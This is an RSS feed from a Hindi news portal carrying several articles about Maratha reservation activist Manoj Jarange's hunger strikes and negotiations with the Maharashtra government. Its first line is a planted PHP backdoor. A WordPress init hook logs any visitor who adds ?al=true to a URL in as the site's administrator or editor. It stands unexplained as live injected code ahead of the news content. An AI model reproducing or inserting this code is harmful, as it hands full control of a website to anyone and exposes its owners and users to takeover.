// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Manoj Jarange – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 27 Aug 2025 11:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 BMC चुनाव से पहले मनोज जरांगे ने बढ़ाई सरकार की टेंशन, फडणवीस के मंत्रियों का दल मनाने पहुंचा https://pratyushaashakinayikiran.com/?p=181067 Wed, 27 Aug 2025 11:45:00 +0000 https://pratyushaashakinayikiran.com/?p=181067 मुंबई
महाराष्ट्र में मराठा आरक्षण आंदोलनकारी मनोज जरांगे ने एक बार फिर राज्य सरकार की मुश्किलें बढ़ा दी हैं। हालांकि, राज्य सरकार ने तेजी दिखाते हुए मंत्रियों का एक प्रतिनिधिमंडल भेजकर मनोज जरांगे से बातचीत करने के अपने प्रयास तेज कर दिए हैं। जरांगे बुधवार की सुबह जैसे ही मुंबई के लिए रवाना हुए। राज्य की फडणवीस सरकार ने शिवनेरी में उनसे मिलने के लिए एक मंत्रिस्तरीय प्रतिनिधिमंडल भेजा। दरअसल, मराठा आरक्षण कार्यकर्ता मनोज जरांगे 29 अगस्त से मुंबई में अपना आंदोलन शुरू करने पर अड़े हुए हैं।

उन्होंने संवाददाताओं को बताया कि उन्हें कैबिनेट उप-समिति के प्रमुख और राज्य के मंत्री राधाकृष्ण विखे पाटिल का फोन आया था, जिसमें उन्हें बताया गया था कि सरकार की एक टीम चर्चा के लिए पुणे जिले के शिवनेरी पहुंचेगी। जरांगे ने पत्रकारों को बताया, ‘‘विखे पाटिल द्वारा भेजा गया प्रतिनिधिमंडल शिवनेरी आएगा। सरकार ने बातचीत करने की इच्छा जताई है, लेकिन मुंबई आंदोलन पर हमारा रुख अपरिवर्तित है।’’

इस बीच, विखे पाटिल ने कहा कि सोमवार को हुई कैबिनेट उप-समिति की पहली बैठक में मराठा समुदाय के करीबी रिश्तेदारों को आरक्षण का लाभ देने से संबंधित जरांगे की मांगों पर विचार-विमर्श किया गया। उन्होंने बताया कि मराठा आरक्षण पर शिंदे समिति को छह महीने का विस्तार दिया गया है, जिसकी मांग जरांगे ने पहले भी की थी। विखे पाटिल ने कहा, ‘‘उप-समिति ने अपनी पहली ही बैठक में इस मांग को स्वीकार कर लिया।’’

जरांगे मराठा समुदाय को कुनबी जाति (अन्य पिछड़ा वर्ग में शामिल एक जाति) के रूप में मान्यता दिलाने की मांग को लेकर आंदोलनरत हैं, ताकि उन्हें शिक्षा और सरकारी नौकरियों में आरक्षण मिल सके। महाराष्ट्र के उपमुख्यमंत्री एकनाथ शिंदे और सत्तारूढ़ भारतीय जनता पार्टी (भाजपा) ने जरांगे से मंगलवार को अनुरोध किया था कि वह 27 अगस्त से शुरू हो रहे गणेश उत्सव के दौरान मुंबई में प्रदर्शन करने की अपनी योजना पर फिर से विचार करें। महाराष्ट्र सरकार द्वारा उन्हें रोकने के प्रयासों के बावजूद जरांगे ने घोषणा की है कि वह 29 अगस्त से मुंबई के आजाद मैदान में मराठा आरक्षण के लिए फिर से अनिश्चितकालीन भूख हड़ताल करेंगे।

 

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सरकार बनते ही मराठा आरक्षण का मुद्दा गरमाने लगा, मिला 5 जनवरी तक का अल्टिमेटम, मनोज जारांगे की चेतावनी https://pratyushaashakinayikiran.com/?p=106977 Fri, 06 Dec 2024 21:25:00 +0000 https://pratyushaashakinayikiran.com/?p=106977 मुंबई
मुंबई के आजाद मैदान में भव्य तरीके से महायुति सरकार का शपथ ग्रहण समारोह संपन्न होने के एक दिन बाद ही मराठा आरक्षण का मुद्दा गरमाने लगा है। मराठा आरक्षण कार्यकर्ता मनोज जारांगे पाटिल ने नई सरकार को सीधी चेतावनी देते हुए एक महीने का अल्टीमेटम दिया है। मनोज जारांगे ने राज्य सरकार से 5 जनवरी तक मराठा आरक्षण का मुद्दा सुलझाने को कहा है। जारांगे ने कहा कि वह महायुति सरकार के गठन के लिए शुभकामनाएं देते हैं लेकिन अब लोगों की समस्याओं का समाधान करना जरूरी है।

मनोज जारांगे ने कहा, "अगर सरकार 5 जनवरी तक मराठा समुदाय की सभी मांगें पूरी नहीं करती है तो मराठा फिर से आंदोलन में खड़े होंगे और सरकार की नाक में दम कर देंगे।" उन्होंने मुख्यमंत्री और दोनों डिप्टी सीएम को बधाई देते हुए कहा कि आइए मराठा आरक्षण के मुद्दे पर अब शुरुआत करें, नाटक बंद करें। साथ ही उन्होंने कहा कि मंत्रिमंडल विस्तार के बाद हम समाज का ख्याल रखने के लिए सामूहिक भूख हड़ताल की तारीख की घोषणा करेंगे, ध्यान रहे, जनता ने आपको चुना है, आप लोगों का दिल जीतने के लिए काम करें। जारंग ने कहा कि अगर फडणवीस मराठा आरक्षण का मुद्दा सुलझा लेंगे तो यह अच्छी बात है।

एक दिन पहले 5 दिसंबर को देवेन्द्र फडणवीस ने मुख्यमंत्री, एकनाथ शिंदे और अजित पवार ने उपमुख्यमंत्री पद की शपथ ली। भव्य शपथ ग्रहण समारोह के तुरंत बाद मुख्यमंत्री देवेन्द्र फडणवीस मंत्रालय पहुंचे। मुख्यमंत्री देवेन्द्र फडणवीस की अध्यक्षता में बुधवार को महायुति सरकार की पहली कैबिनेट बैठक हुई। इसके बाद आयोजित प्रेस कॉन्फ्रेंस में बोलते हुए देवेंद्र फडणवीस ने कई सवालों के विस्तार से जवाब दिए। मराठा आरक्षण के बारे में बात करते हुए मुख्यमंत्री ने कहा कि यह तथ्य पहले ही राज्य विधानसभा में उठाया जा चुका है। पिछली सरकार ने केंद्र को ऐसी रिपोर्ट भेजी थी कि उसे डेटा नहीं मिल रहा था। इस बीच काफी कार्रवाई हुई, हमने कोर्ट में सपोर्टिंग एफिडेविट दिया। फिलहाल मामला कोर्ट में विचाराधीन है। हमने अपना मामला स्पष्ट कर दिया है। देवेंद्र फड़नवीस ने बताया कि पिछली सरकार में हमने ही मराठा समुदाय को न्याय देने की कोशिश की थी और हम मराठा समुदाय को न्याय दिलाकर रहेंगे।

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मराठा कार्यकर्ता मनोज जरांगे ने एक बार फिर अनिश्चिकालीन अनशन शुरू किया https://pratyushaashakinayikiran.com/?p=71908 Tue, 17 Sep 2024 22:45:00 +0000 https://pratyushaashakinayikiran.com/?p=71908 छत्रपति संभाजीनगर
मराठा कार्यकर्ता मनोज जरांगे ने मंगलवार को एक बार फिर अनिश्चिकालीन अनशन शुरू किया। एक साल से अधिक की अवधि में जरांगे का यह छठा प्रयास हैं। वह अपने समुदाय को ओबीसी के तहत आरक्षण दिलाने की मांग कर रहे हैं। उन्होंने जालना जिले के अपने पैतृक गांव अंतरवाली सरती में आधी रात से अनिश्चितकालीन अनशन शुरू किया।

महाराष्ट्र सरकार पर लगाया आरोप
इस आंदोलन से पहले उन्होंने मीडिया से बात की और महाराष्ट्र सरकार पर उनकी समुदाय को आरक्षण नहीं देने का आरोप लगाया। इसके साथ ही उन्होंने कहा कि मराठों ने उपमुख्यमंत्री देवेंद्र फडणवीस को एक आखिरी मौका दिया है। जारांगे उस मसौदा अधिसूचना को लागू करने की मांग कर रहे हैं जो कुनबी समुदाय को मराठा समुदाय के सदस्यों के 'सेज सोयारे' (रक्त रिश्तेदार) के रूप में मान्यता देती है।

केस को वापस लेने की मांग
उन्होंने आगे कहा कि वह यह भी चाहते हैं कि पहले उनके आंदोलन के दौरान मराठा समुदाय के सदस्यों के खिलाफ दर्ज मामलों को वापस लिया जाए। जरांगे ने कहा कि मेरे लिए मराठा समुदाय महत्वपूर्ण है, लेकिन सरकार जानबूझकर आरक्षण नहीं दे रही है। मुख्यमंत्री एकनाथ शिंदे कहा कि मराठाओं के आरक्षण के लिए समितियां सेज सोआरे अधिसूचना पर काम कर रही हैं।

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मराठा आरक्षण कार्यकर्ता मनोज जरांगे ने अनिश्चितकालीन अनशन को किया निलंबित https://pratyushaashakinayikiran.com/?p=41039 Thu, 13 Jun 2024 21:25:00 +0000 https://pratyushaashakinayikiran.com/?p=41039 नई दिल्ली
मराठा आरक्षण कार्यकर्ता मनोज जरांगे ने छह दिन पहले आरक्षण के मुद्दे पर शुरू किया अपना अनिश्चितकालीन अनशन बृहस्पतिवार को निलंबित कर दिया और समुदाय की मांगों को स्वीकार करने के लिए महाराष्ट्र सरकार को एक महीने का समय दिया। उन्होंने यह घोषणा उस समय की जब महाराष्ट्र के मंत्री और मराठा आरक्षण उप-समिति के सदस्य शंभूराज देसाई, शिवसेना सांसद सांदीपन भुमरे ने जालना जिले में उनके पैतृक गांव अंतरवाली सरती में उनसे मुलाकात कर इस मुद्दे पर चर्चा की।

सरकार को एक महीने का समय दे रहे
इससे पहले राज्य के स्वास्थ्य मंत्री तानाजी सावंत और विधान परिषद में नेता प्रतिपक्ष अंबादास दानवे ने भी अंतरवाली सरती में जरांगे से मुलाकात की। धरना स्थल पर लोगों को संबोधित करते हुए जरांगे ने कहा, "हम मराठा समुदाय की मांगों को पूरा करने के लिए सरकार को एक महीने का समय दे रहे हैं। लेकिन हम आगामी विधानसभा चुनावों की तैयारी भी जारी रखेंगे। अगर सरकार हमें आरक्षण नहीं देती है तो हम इसमें (चुनाव में) जाएंगे और इसे (आरक्षण) हासिल करेंगे।" उन्होंने कहा, "अगर एक महीने में मांगें पूरी नहीं की गईं तो न तो विपक्ष के सदस्य और न ही सरकार में बैठे लोग हमारे पास आएं। हम (राज्य विधानसभा चुनावों में) उम्मीदवारों के नाम घोषित करके उन्हें हरा देंगे।"

सभी मराठों को कुनबी प्रमाण पत्र जारी किए जाएं
जरांगे ने आठ जून से अपना विरोध प्रदर्शन शुरू किया था। वह मसौदा अधिसूचना के क्रियान्वयन की मांग कर रहे हैं, जिसके तहत कुनबियों को मराठा समुदाय के सदस्यों के "सगे सोयरे" (रक्त संबंधी) के रूप में मान्यता दी गई है। साथ ही वह कुनबियों को मराठा के रूप में मान्यता देने के लिए एक कानून की भी मांग कर रहे हैं। कुनबी एक कृषि प्रधान समूह है, जो अन्य पिछड़ा वर्ग (ओबीसी) श्रेणी में आता है। जरांगे मांग कर रहे हैं कि सभी मराठों को कुनबी प्रमाण पत्र जारी किए जाएं, जिससे वे आरक्षण के लाभ के लिए पात्र बन सकें।

मुद्दे पर कल एक बैठक बुलाई जाएगी
जरांगे से मुलाकात के बाद मंत्री देसाई ने कहा, "इस मुद्दे पर कल एक बैठक बुलाई जाएगी। पिछले पांच महीनों में से दो महीने आदर्श आचार संहिता (लोकसभा चुनावों के लिए) लागू होने में बीत चुके हैं। हम एक महीने में मराठा समुदाय की मांगों पर सकारात्मक निर्णय लेंगे। अगर काम में तेजी लाने के लिए अतिरिक्त कर्मियों की आवश्यकता होगी, तो हम मुख्यमंत्री एकनाथ शिंदे की अनुमति से ऐसा करेंगे।"

सरकार ने मराठा समुदाय को मूर्ख बनाया
जरांगे से मुलाकात के बाद दानवे ने कहा कि अगर मुख्यमंत्री ने घोषणा की है कि उन्होंने मराठा समुदाय की मांगें स्वीकार कर ली हैं, तो उन्हें पूरा करना उनकी जिम्मेदारी है। उन्होंने कहा, "सरकार ने वाशी में (जारंगे की मांगों पर) मराठा समुदाय को मसौदा अधिसूचना सौंपकर मूर्ख बनाया है। अगर सरकार ने अधिसूचना जारी की है, तो इस पर निर्णय लिया जाना चाहिए।" मंत्री सावंत ने कहा, "आंदोलन जल्द से जल्द खत्म होना चाहिए। सरकार को जल्दी से जल्दी फैसला लेना चाहिए और मराठा समुदाय को जश्न मनाने का मौका देना चाहिए।"

 

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